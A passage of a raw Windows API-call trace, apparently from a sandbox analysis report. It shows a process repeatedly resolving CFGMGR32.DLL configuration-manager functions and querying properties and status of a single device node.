0x7ffa786dd3b0 [0224.250] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0224.250] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0224.250] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0224.250] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0224.250] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0224.250] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0224.251] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0224.251] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0224.251] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0224.251] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0224.251] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0224.251] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0224.252] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0224.252] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0224.252] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0224.252] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0224.252] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0224.253] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0224.253] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0224.253] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0224.253] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x23, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0224.360] malloc (_Size=0x48) returned 0x196ef0fc0d0 [0224.360] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6694ac54, dwHighDateTime=0x1d9eb0c)) [0224.360] SetEvent (hEvent=0x248) returned 1 [0224.364] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0224.364] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0224.364] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0224.364] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0224.365] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0224.365] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0224.365] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0224.365] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0224.365] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0224.365] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0224.365] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0224.365] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0224.366] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0224.366] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0224.366] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0224.366] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0224.366] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0224.366] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0224.366] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0224.367] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0224.367] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0224.367] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0224.367] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0224.367] malloc (_Size=0x18) returned 0x196ef0d19a0 [0224.367] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x23, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0224.368] malloc (_Size=0x48) returned 0x196ef0fb590 [0224.368] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x66970f5d, dwHighDateTime=0x1d9eb0c)) [0224.368] SetEvent (hEvent=0x248) returned 1 [0224.371] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0224.371] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0224.371] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0224.372] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0224.372] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0224.372] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0224.372] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0224.372] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0224.372] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0224.372] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0224.373] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0224.373] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0224.373] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0224.373] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0224.373] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0224.373] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0224.373] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0224.373] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0224.374] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0224.374] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0224.374] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0224.374] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0224.374] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0224.374] malloc (_Size=0x18) returned 0x196ef0d1ee0 [0224.374] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x23, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0224.375] malloc (_Size=0x48) returned 0x196ef0fbb30 [0224.375] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x66970f5d, dwHighDateTime=0x1d9eb0c)) [0224.375] SetEvent (hEvent=0x248) returned 1 [0224.378] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0224.378] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0224.379] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0224.379] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0224.379] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0224.379] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0224.380] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0224.380] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0224.380] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0224.380] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0224.380] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0224.380] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0224.380] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0224.381] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0224.381] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0224.381] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0224.381] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0224.381] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0224.381] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0224.382] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0224.382] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0224.382] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0224.382] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0224.382] malloc (_Size=0x18) returned 0x196ef0d1f20 [0224.383] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x23, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0224.383] malloc (_Size=0x48) returned 0x196ef0fbef0 [0224.383] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x66997473, dwHighDateTime=0x1d9eb0c)) [0224.383] SetEvent (hEvent=0x248) returned 1 [0224.389] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0224.389] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0224.389] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0224.389] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0224.389] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0224.389] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0224.390] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0224.390] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0224.390] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0224.390] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0224.390] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0224.390] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0224.390] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0224.391] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0224.391] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0224.391] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0224.391] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0224.391] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0224.391] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0224.391] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0224.392] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0224.392] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0224.392] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0224.392] malloc (_Size=0x18) returned 0x196ef0d1c00 [0224.392] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x23, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0224.394] malloc (_Size=0x48) returned 0x196ef0fbd10 [0224.394] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x66997473, dwHighDateTime=0x1d9eb0c)) [0224.395] SetEvent (hEvent=0x248) returned 1 [0224.399] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0224.399] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0224.399] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0224.399] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0224.400] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0224.400] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0224.400] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0224.400] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0224.400] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0224.400] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0224.400] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0224.401] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0224.401] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0224.401] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0224.401] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0224.401] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0224.401] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0224.401] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0224.401] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0224.402] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0224.402] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0224.402] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0224.402] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0224.402] malloc (_Size=0x18) returned 0x196ef0d19a0 [0224.402] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x23, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0224.403] malloc (_Size=0x48) returned 0x196ef0fb360 [0224.403] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x66997473, dwHighDateTime=0x1d9eb0c)) [0224.403] SetEvent (hEvent=0x248) returned 1 [0224.466] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0224.466] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0224.467] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0224.467] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0224.467] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0224.467] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0224.467] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0224.468] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0224.468] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0224.468] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0224.468] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0224.468] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0224.468] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0224.468] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0224.469] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0224.469] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0224.469] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0224.469] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0224.469] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0224.469] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0224.469] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0224.470] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0224.470] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0224.470] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0224.470] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x23, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0224.470] malloc (_Size=0x48) returned 0x196ef0fb4a0 [0224.470] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x66a55c1f, dwHighDateTime=0x1d9eb0c)) [0224.471] SetEvent (hEvent=0x248) returned 1 [0224.476] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0224.476] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0224.476] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0224.476] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0224.477] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0224.477] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0224.477] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0224.477] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0224.477] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0224.477] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0224.478] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0224.478] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0224.478] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0224.478] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0224.478] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0224.479] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0224.479] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0224.479] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0224.479] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0224.479] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0224.479] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0224.479] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0224.480] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0224.480] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0224.480] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x23, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0224.480] malloc (_Size=0x48) returned 0x196ef0fbea0 [0224.480] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x66a7c07c, dwHighDateTime=0x1d9eb0c)) [0224.481] SetEvent (hEvent=0x248) returned 1 [0224.485] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0224.485] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0224.486] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0224.486] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0224.486] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0224.486] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0224.486] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0224.487] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0224.487] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0224.487] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0224.487] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0224.487] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0224.487] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0224.487] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0224.488] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0224.488] GetProcAddress 